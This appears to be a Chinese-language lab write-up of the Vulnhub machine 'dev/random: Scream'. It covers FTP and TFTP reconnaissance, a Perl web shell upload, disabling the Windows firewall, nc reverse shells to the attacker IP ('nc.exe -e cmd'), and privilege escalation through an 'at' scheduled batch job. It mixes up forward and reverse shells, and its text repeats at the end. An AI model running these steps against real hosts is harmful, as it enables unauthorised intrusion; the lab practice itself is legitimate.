Vulnhub靶机 /dev/random: Scream:tftp利用,perl木马上传,windows nc正向shell连接,at命令提权
字数 1222 2025-08-22 12:23:30

《dev/random: Scream》靶机渗透测试教学文档

靶机概述

  • 靶机名称:dev/random: Scream
  • 难度等级:简单偏上
  • 主要技术点:
    • TFTP协议利用
    • Perl木马上传
    • Windows nc正向shell连接
    • at命令提权
  • 环境配置:
    • 攻击机:Kali 2024.4 (192.168.66.128)
    • 靶机:DevRandom_Scream (192.168.66.132)

信息收集阶段

主机发现

使用nmap进行主机发现,确认靶机IP地址为192.168.66.132

端口扫描

执行全面端口扫描:

nmap -sS -sU -p- 192.168.66.132

发现开放端口:

  • TCP: 21(FTP), 22(SSH), 23(Telnet), 80(HTTP)
  • UDP: 69(TFTP)

详细服务扫描

nmap -sV -O -p21,22,23,80,69 192.168.66.132

发现关键信息:

  • FTP允许匿名登录
  • TFTP服务运行中

漏洞利用

FTP匿名登录

ftp 192.168.66.132

用户名:anonymous
密码:空

发现root目录下存在index.html文件,推测为网站根目录

TFTP利用

TFTP(Trivial File Transfer Protocol)是基于UDP的简单文件传输协议(端口69)

尝试上传文件:

tftp 192.168.66.132
put test.txt

发现权限不足,无法上传

Web目录发现

通过FTP发现/cgi-bin/目录,可用于上传GUI程序

攻击阶段

Perl木马上传

  1. 准备一个Perl web shell (web-shell.pl),包含密码验证功能
  2. 通过FTP上传到/cgi-bin/目录
  3. 访问:http://192.168.66.132/cgi-bin/web-shell.pl?password=yourpassword

Web shell功能验证:

# 使用dir命令验证功能
http://192.168.66.132/cgi-bin/web-shell.pl?password=yourpassword&cmd=dir

防火墙检测与关闭

通过web shell执行:

netsh advfirewall show allprofiles

发现防火墙开启

关闭防火墙:

netsh advfirewall set allprofiles state off

正向shell连接准备

  1. 下载nc.exe到攻击机
  2. 通过web shell上传nc.exe到靶机
  3. 在攻击机监听端口:
nc -lvp 4444
  1. 在靶机执行:
nc.exe -e cmd 192.168.66.128 4444

成功获取反向shell

提权阶段

系统信息收集

whoami
net user
hostname
systeminfo

发现当前用户已是Administrators组成员,但需要更高权限

at命令提权

  1. 创建bat.bat脚本:
nc.exe -e cmd 192.168.66.128 5555
  1. 上传bat.bat到靶机
  2. 设置定时任务:
at 14:30 /interactive cmd /c "C:\path\to\bat.bat"

(设置时间为当前时间后1-2分钟)

  1. 在攻击机监听新端口:
nc -lvp 5555
  1. 时间到达后,获得高权限shell

替代方案(不使用MSF)

虽然MSF可以简化流程(如生成.exe文件进行服务劫持提权),但本演练遵循OSCP+考试限制(MSF只能使用一次),全程未使用MSF。

总结

该靶机渗透测试流程:

  1. 通过TFTP和FTP发现攻击面
  2. 利用/cgi-bin/目录上传web shell
  3. 通过web shell上传nc.exe获取初始shell
  4. 利用at命令执行计划任务获取系统权限

关键点:

  • TFTP协议的特性利用
  • Perl web shell的上传与使用
  • Windows防火墙的检测与关闭
  • nc正向连接技术
  • at命令的提权原理与应用
《dev/random: Scream》靶机渗透测试教学文档 靶机概述 靶机名称:dev/random: Scream 难度等级:简单偏上 主要技术点: TFTP协议利用 Perl木马上传 Windows nc正向shell连接 at命令提权 环境配置: 攻击机:Kali 2024.4 (192.168.66.128) 靶机:DevRandom_ Scream (192.168.66.132) 信息收集阶段 主机发现 使用nmap进行主机发现,确认靶机IP地址为192.168.66.132 端口扫描 执行全面端口扫描: 发现开放端口: TCP: 21(FTP), 22(SSH), 23(Telnet), 80(HTTP) UDP: 69(TFTP) 详细服务扫描 发现关键信息: FTP允许匿名登录 TFTP服务运行中 漏洞利用 FTP匿名登录 用户名:anonymous 密码:空 发现root目录下存在index.html文件,推测为网站根目录 TFTP利用 TFTP(Trivial File Transfer Protocol)是基于UDP的简单文件传输协议(端口69) 尝试上传文件: 发现权限不足,无法上传 Web目录发现 通过FTP发现/cgi-bin/目录,可用于上传GUI程序 攻击阶段 Perl木马上传 准备一个Perl web shell (web-shell.pl),包含密码验证功能 通过FTP上传到/cgi-bin/目录 访问:http://192.168.66.132/cgi-bin/web-shell.pl?password=yourpassword Web shell功能验证: 防火墙检测与关闭 通过web shell执行: 发现防火墙开启 关闭防火墙: 正向shell连接准备 下载nc.exe到攻击机 通过web shell上传nc.exe到靶机 在攻击机监听端口: 在靶机执行: 成功获取反向shell 提权阶段 系统信息收集 发现当前用户已是Administrators组成员,但需要更高权限 at命令提权 创建bat.bat脚本: 上传bat.bat到靶机 设置定时任务: (设置时间为当前时间后1-2分钟) 在攻击机监听新端口: 时间到达后,获得高权限shell 替代方案(不使用MSF) 虽然MSF可以简化流程(如生成.exe文件进行服务劫持提权),但本演练遵循OSCP+考试限制(MSF只能使用一次),全程未使用MSF。 总结 该靶机渗透测试流程: 通过TFTP和FTP发现攻击面 利用/cgi-bin/目录上传web shell 通过web shell上传nc.exe获取初始shell 利用at命令执行计划任务获取系统权限 关键点: TFTP协议的特性利用 Perl web shell的上传与使用 Windows防火墙的检测与关闭 nc正向连接技术 at命令的提权原理与应用